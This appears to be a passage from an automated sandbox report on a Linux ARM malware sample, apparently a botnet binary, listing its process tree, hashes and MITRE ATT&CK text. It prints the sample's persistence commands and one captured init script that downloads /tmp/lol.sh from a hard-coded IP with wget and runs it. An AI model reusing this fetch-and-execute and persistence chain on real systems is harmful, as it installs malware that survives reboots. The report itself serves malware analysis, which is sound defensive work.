LOAD	0x0	0x8000	0x8000	0x1a040	0x1a040	6.2296	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x1a044	0x2a044	0x2a044	0x660	0x2888	5.0991	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

⊘Skipped network analysis since the amount of network traffic is too extensive. Please download the PCAP and check manually.

System Behavior

Analysis Process: arm.nn.elf PID: 5427, Parent PID: 5352

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	/tmp/arm.nn.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 5445, Parent PID: 5427

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 5461, Parent PID: 5427

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5461, Parent PID: 5427

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/bin/sh
Arguments:	sh -c "systemctl enable custom.service >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5473, Parent PID: 5461

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5473, Parent PID: 5461

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl enable custom.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: arm.nn.elf PID: 5495, Parent PID: 5427

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5495, Parent PID: 5427

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/bin/sh
Arguments:	sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5501, Parent PID: 5495

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chmod PID: 5501, Parent PID: 5495

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/usr/bin/chmod
Arguments:	chmod +x /etc/init.d/mybinary
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Chronological Activities

Analysis Process: arm.nn.elf PID: 5502, Parent PID: 5427

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5502, Parent PID: 5427

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/bin/sh
Arguments:	sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5504, Parent PID: 5502

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: ln PID: 5504, Parent PID: 5502

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/usr/bin/ln
Arguments:	ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary
File size:	76160 bytes
MD5 hash:	e933cf05571f62c0157d4e2dfcaea282

Chronological Activities

Analysis Process: arm.nn.elf PID: 5505, Parent PID: 5427

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5505, Parent PID: 5427

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/bin/sh
Arguments:	sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm.nn.elf'\n /tmp/arm.nn.elf &\n wget http://154.216.19.140/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm.nn.elf'\n killall arm.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm.nn.elf"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: arm.nn.elf PID: 5507, Parent PID: 5427

General

Start time (UTC):	09:43:55
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5507, Parent PID: 5427

General

Start time (UTC):	09:43:55
Start date (UTC):	06/10/2024
Path:	/bin/sh
Arguments:	sh -c "chmod +x /etc/init.d/arm.nn.elf >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5509, Parent PID: 5507

General

Start time (UTC):	09:43:55
Start date (UTC):	06/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: chmod PID: 5509, Parent PID: 5507

General

Start time (UTC):	09:43:55
Start date (UTC):	06/10/2024
Path:	/usr/bin/chmod
Arguments:	chmod +x /etc/init.d/arm.nn.elf
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Chronological Activities

Analysis Process: arm.nn.elf PID: 5510, Parent PID: 5427

General

Start time (UTC):	09:43:55
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5510, Parent PID: 5427

General

Start time (UTC):	09:43:55
Start date (UTC):	06/10/2024
Path:	/bin/sh
Arguments:	sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5512, Parent PID: 5510

General

Start time (UTC):	09:43:55
Start date (UTC):	06/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: mkdir PID: 5512, Parent PID: 5510

General

Start time (UTC):	09:43:55
Start date (UTC):	06/10/2024
Path:	/usr/bin/mkdir
Arguments:	mkdir -p /etc/rc.d
File size:	88408 bytes
MD5 hash:	088c9d1df5a28ed16c726eca15964cb7

Chronological Activities

Analysis Process: arm.nn.elf PID: 5513, Parent PID: 5427

General

Start time (UTC):	09:43:55
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5513, Parent PID: 5427

General

Start time (UTC):	09:43:55
Start date (UTC):	06/10/2024
Path:	/bin/sh
Arguments:	sh -c "ln -s /etc/init.d/arm.nn.elf /etc/rc.d/S99arm.nn.elf >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5515, Parent PID: 5513

General

Start time (UTC):	09:43:55
Start date (UTC):	06/10/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: ln PID: 5515, Parent PID: 5513

General

Start time (UTC):	09:43:55
Start date (UTC):	06/10/2024
Path:	/usr/bin/ln
Arguments:	ln -s /etc/init.d/arm.nn.elf /etc/rc.d/S99arm.nn.elf
File size:	76160 bytes
MD5 hash:	e933cf05571f62c0157d4e2dfcaea282

Chronological Activities

Analysis Process: arm.nn.elf PID: 5516, Parent PID: 5427

General

Start time (UTC):	09:43:55
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 5518, Parent PID: 5516

General

Start time (UTC):	09:43:55
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 5520, Parent PID: 5516

General

Start time (UTC):	09:43:55
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 5679, Parent PID: 5516

General

Start time (UTC):	09:44:45
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 5688, Parent PID: 5679

General

Start time (UTC):	09:44:45
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 5742, Parent PID: 5516

General

Start time (UTC):	09:44:51
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 5751, Parent PID: 5742

General

Start time (UTC):	09:44:51
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 5807, Parent PID: 5516

General

Start time (UTC):	09:44:54
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 5816, Parent PID: 5807

General

Start time (UTC):	09:44:54
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 5880, Parent PID: 5516

General

Start time (UTC):	09:44:57
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 5889, Parent PID: 5880

General

Start time (UTC):	09:44:57
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 5970, Parent PID: 5516

General

Start time (UTC):	09:45:32
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 5981, Parent PID: 5970

General

Start time (UTC):	09:45:35
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 6018, Parent PID: 5516

General

Start time (UTC):	09:45:44
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 6045, Parent PID: 6018

General

Start time (UTC):	09:45:48
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 6103, Parent PID: 5516

General

Start time (UTC):	09:46:18
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 6139, Parent PID: 6103

General

Start time (UTC):	09:47:11
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 6131, Parent PID: 5516

General

Start time (UTC):	09:47:11
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 6154, Parent PID: 6131

General

Start time (UTC):	09:47:11
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 6146, Parent PID: 5516

General

Start time (UTC):	09:47:11
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 6178, Parent PID: 6146

General

Start time (UTC):	09:47:11
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 6168, Parent PID: 5516

General

Start time (UTC):	09:47:11
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 6202, Parent PID: 6168

General

Start time (UTC):	09:47:11
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 6192, Parent PID: 5516

General

Start time (UTC):	09:47:11
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.nn.elf PID: 6232, Parent PID: 6192

General

Start time (UTC):	09:47:11
Start date (UTC):	06/10/2024
Path:	/tmp/arm.nn.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: udisksd PID: 5439, Parent PID: 802

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5439, Parent PID: 802

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: gnome-session-binary PID: 5474, Parent PID: 1588

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/usr/libexec/gnome-session-binary
Arguments:	-
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Chronological Activities

Analysis Process: sh PID: 5474, Parent PID: 1588

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/bin/sh
Arguments:	/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: gsd-housekeeping PID: 5474, Parent PID: 1588

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/usr/libexec/gsd-housekeeping
Arguments:	/usr/libexec/gsd-housekeeping
File size:	51840 bytes
MD5 hash:	b55f3394a84976ddb92a2915e5d76914

Chronological Activities

Analysis Process: udisksd PID: 5478, Parent PID: 802

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5478, Parent PID: 802

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: systemd PID: 5488, Parent PID: 5487

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5488, Parent PID: 5487

General

Start time (UTC):	09:43:54
Start date (UTC):	06/10/2024
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: udisksd PID: 5529, Parent PID: 802

General

Start time (UTC):	09:43:55
Start date (UTC):	06/10/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5529, Parent PID: 802

General

Start time (UTC):	09:43:55
Start date (UTC):	06/10/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 5618, Parent PID: 802

General

Start time (UTC):	09:43:56
Start date (UTC):	06/10/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5618, Parent PID: 802

General

Start time (UTC):	09:43:56
Start date (UTC):	06/10/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 5619, Parent PID: 802

General

Start time (UTC):	09:43:56
Start date (UTC):	06/10/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5619, Parent PID: 802

General

Start time (UTC):	09:43:57
Start date (UTC):	06/10/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 5620, Parent PID: 802

General

Start time (UTC):	09:43:57
Start date (UTC):	06/10/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5620, Parent PID: 802

General

Start time (UTC):	09:43:57
Start date (UTC):	06/10/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 5689, Parent PID: 802

General

Start time (UTC):	09:44:45
Start date (UTC):	06/10/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5689, Parent PID: 802

General

Start time (UTC):	09:44:45
Start date (UTC):	06/10/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 5723, Parent PID: 802

General

Start time (UTC):	09:44:46
Start date (UTC):	06/10/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5723, Parent PID: 802

General

Start time (UTC):	09:44:46
Start date (UTC):	06/10/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 5752, Parent PID: 802

General

Start time (UTC):	09:44:51
Start date (UTC):	06/10/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5752, Parent PID: 802

General

Start time (UTC):	09:44:51
Start date (UTC):	06/10/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 5789, Parent PID: 802

General

Start time (UTC):	09:44:52
Start date (UTC):	06/10/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5789, Parent PID: 802

General

Start time (UTC):	09:44:52
Start date (UTC):	06/10/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 5818, Parent PID: 802

General

Start time (UTC):	09:44:54
Start date (UTC):	06/10/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5818, Parent PID: 802

General

Start time (UTC):	09:44:54
Start date (UTC):	06/10/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 5858, Parent PID: 802

General

Start time (UTC):	09:44:54
Start date (UTC):	06/10/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5858, Parent PID: 802

General

Start time (UTC):	09:44:54
Start date (UTC):	06/10/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 5891, Parent PID: 802

General

Start time (UTC):	09:44:57
Start date (UTC):	06/10/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5891, Parent PID: 802

General

Start time (UTC):	09:44:57
Start date (UTC):	06/10/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 5937, Parent PID: 802

General

Start time (UTC):	09:45:01
Start date (UTC):	06/10/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5937, Parent PID: 802

General

Start time (UTC):	09:45:01
Start date (UTC):	06/10/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 5985, Parent PID: 802

General

Start time (UTC):	09:45:36
Start date (UTC):	06/10/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 5985, Parent PID: 802

General

Start time (UTC):	09:45:52
Start date (UTC):	06/10/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 6297, Parent PID: 802

General

Start time (UTC):	09:47:12
Start date (UTC):	06/10/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 6297, Parent PID: 802

General

Start time (UTC):	09:47:12
Start date (UTC):	06/10/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 6342, Parent PID: 802

General

Start time (UTC):	09:47:12
Start date (UTC):	06/10/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 6342, Parent PID: 802

General

Start time (UTC):	09:47:12
Start date (UTC):	06/10/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 6371, Parent PID: 802

General

Start time (UTC):	09:47:13
Start date (UTC):	06/10/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 6371, Parent PID: 802

General

Start time (UTC):	09:47:13
Start date (UTC):	06/10/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 6375, Parent PID: 802

General

Start time (UTC):	09:47:13
Start date (UTC):	06/10/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 6375, Parent PID: 802

General

Start time (UTC):	09:47:13
Start date (UTC):	06/10/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shell s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system ( `/etc` ) and the user’s home directory ( `~/` ) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
